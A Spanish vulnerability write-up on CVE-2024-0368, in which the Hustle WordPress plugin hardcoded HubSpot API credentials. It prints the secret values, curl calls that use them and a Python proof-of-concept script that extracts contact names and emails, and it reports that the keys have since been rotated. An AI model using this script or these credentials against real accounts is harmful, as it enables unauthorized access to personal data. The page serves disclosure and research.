
Hustle Plugin <= 7.8.3 contiene credenciales de API de HubSpot hardcodeadas en inc/providers/hubspot/hustle-hubspot-api.php
El plugin Hustle <= 7.8.3 contiene credenciales de la API de HubSpot codificadas en inc/providers/hubspot/hustle-hubspot-api.php
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2024-0368 |
| Título | Hustle <= 7.8.3 - Exposición de información sensible a través de claves de API de HubSpot expuestas |
| Puntuación CVSS | 8.6 (Alta) |
| Plugin afectado | Hustle - Email Marketing, Lead Generation, Optins, Popups (wordpress-popup) |
| Versiones vulnerables | <= 7.8.3 |
| Versión corregida | 7.8.4 |
| Tipo de vulnerabilidad | CWE-200: Exposición de información sensible |
Archivo: inc/providers/hubspot/hustle-hubspot-api.php
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
const CLIENT_ID = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY = 'db9600bf-648c-476c-be42-6621d7a1f96a';
const BASE_URL = 'https://app.hubspot.com/';
const API_URL = 'https://api.hubapi.com/';
const SCOPE = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';
La configuración OAuth codificada solicitaba los siguientes ámbitos de HubSpot:
oauth - Autenticación OAuthcrm.objects.contacts.write - Crear/modificar contactoscrm.objects.contacts.read - Leer información de contacto (PII)crm.lists.read - Leer listas de marketingcrm.lists.write - Modificar listas de marketingcrm.schemas.contacts.write - Modificar esquemas de contactocrm.schemas.contacts.read - Leer esquemas de contactoWPMUDEV codificó sus propias credenciales de aplicación OAuth de HubSpot directamente en el código fuente del plugin. Esto es una violación de las prácticas de desarrollo seguro ya que:
Un atacante podría:
Con credenciales válidas, un atacante podría potencialmente:
# Desde la instalación de WordPress
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"
Salida:
const CLIENT_ID = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY = 'db9600bf-648c-476c-be42-6621d7a1f96a';
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"
Nota: Al momento de las pruebas, la clave de API ha sido rotada/expirada (esperado tras la divulgación):
{
"status": "error",
"message": "The API key used to make this call is expired.",
"category": "EXPIRED_AUTHENTICATION"
}
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"
Respuesta: Las credenciales han sido invalidadas.
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3
This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.
For authorized security testing only.
"""
import requests
import json
# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
"client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
"client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
"hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}
HUBSPOT_API = "https://api.hubapi.com"
def test_api_key():
"""Test if the leaked API key is still valid"""
print("[*] Testing HubSpot API Key...")
url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}
response = requests.get(url, params=params)
data = response.json()
if response.status_code == 200:
print("[+] API Key is VALID - Vulnerability Exploitable!")
print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
return True
else:
print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
return False
def test_oauth():
"""Test OAuth client credentials"""
print("[*] Testing OAuth credentials...")
url = f"{HUBSPOT_API}/oauth/v1/token"
data = {
"grant_type": "client_credentials",
"client_id": CREDENTIALS["client_id"],
"client_secret": CREDENTIALS["client_secret"]
}
response = requests.post(url, data=data)
result = response.json()
if "access_token" in result:
print("[+] OAuth credentials VALID - Got access token!")
return result["access_token"]
else:
print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
return None
def extract_contacts(api_key=None, access_token=None):
"""Extract contacts if credentials are valid"""
print("[*] Attempting to extract contacts...")
url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
headers = {}
params = {"limit": 100}
if access_token:
headers["Authorization"] = f"Bearer {access_token}"
elif api_key:
params["hapikey"] = api_key
response = requests.get(url, headers=headers, params=params)
if response.status_code == 200:
contacts = response.json()
print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
for contact in contacts.get("results", [])[:5]:
props = contact.get("properties", {})
print(f" - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
return contacts
return None
if __name__ == "__main__":
print("=" * 60)
print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
print("=" * 60)
print()
# Test leaked credentials
api_valid = test_api_key()
access_token = test_oauth()
print()
if api_valid or access_token:
print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
extract_contacts(
api_key=CREDENTIALS["hapikey"] if api_valid else None,
access_token=access_token
)
else:
print("[*] Credentials have been rotated (expected post-disclosure)")
print("[*] Vulnerability exists in code - credentials were exposed")
print()
print("=" * 60)
Entorno:
Estado de las credenciales:
HAPIKEY): Expirada/Rotada (tras la divulgación)Conclusión: La vulnerabilidad está confirmada - las credenciales codificadas existen en el código fuente y eran explotables anteriormente. WPMUDEV rotó las credenciales tras la divulgación responsable.
El parche elimina las credenciales codificadas e implementa un almacenamiento adecuado de credenciales:
| Fecha | Evento |
|---|---|
| 2024-01-05 | CVE-2024-0368 publicado |
| 2024-03-08 | Parche lanzado en la versión 7.8.4 |
| Tras la divulgación | Credenciales rotadas por WPMUDEV |
Generado para fines de investigación de seguridad autorizada
| Credencial | Valor | Propósito |
|---|
CLIENT_ID | 5253e533-2dd2-48fd-b102-b92b8f250d1b | Identificador de aplicación OAuth2 |
CLIENT_SECRET | 2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca | Secreto de cliente OAuth2 |
HAPIKEY | db9600bf-648c-476c-be42-6621d7a1f96a | Clave de API heredada de HubSpot |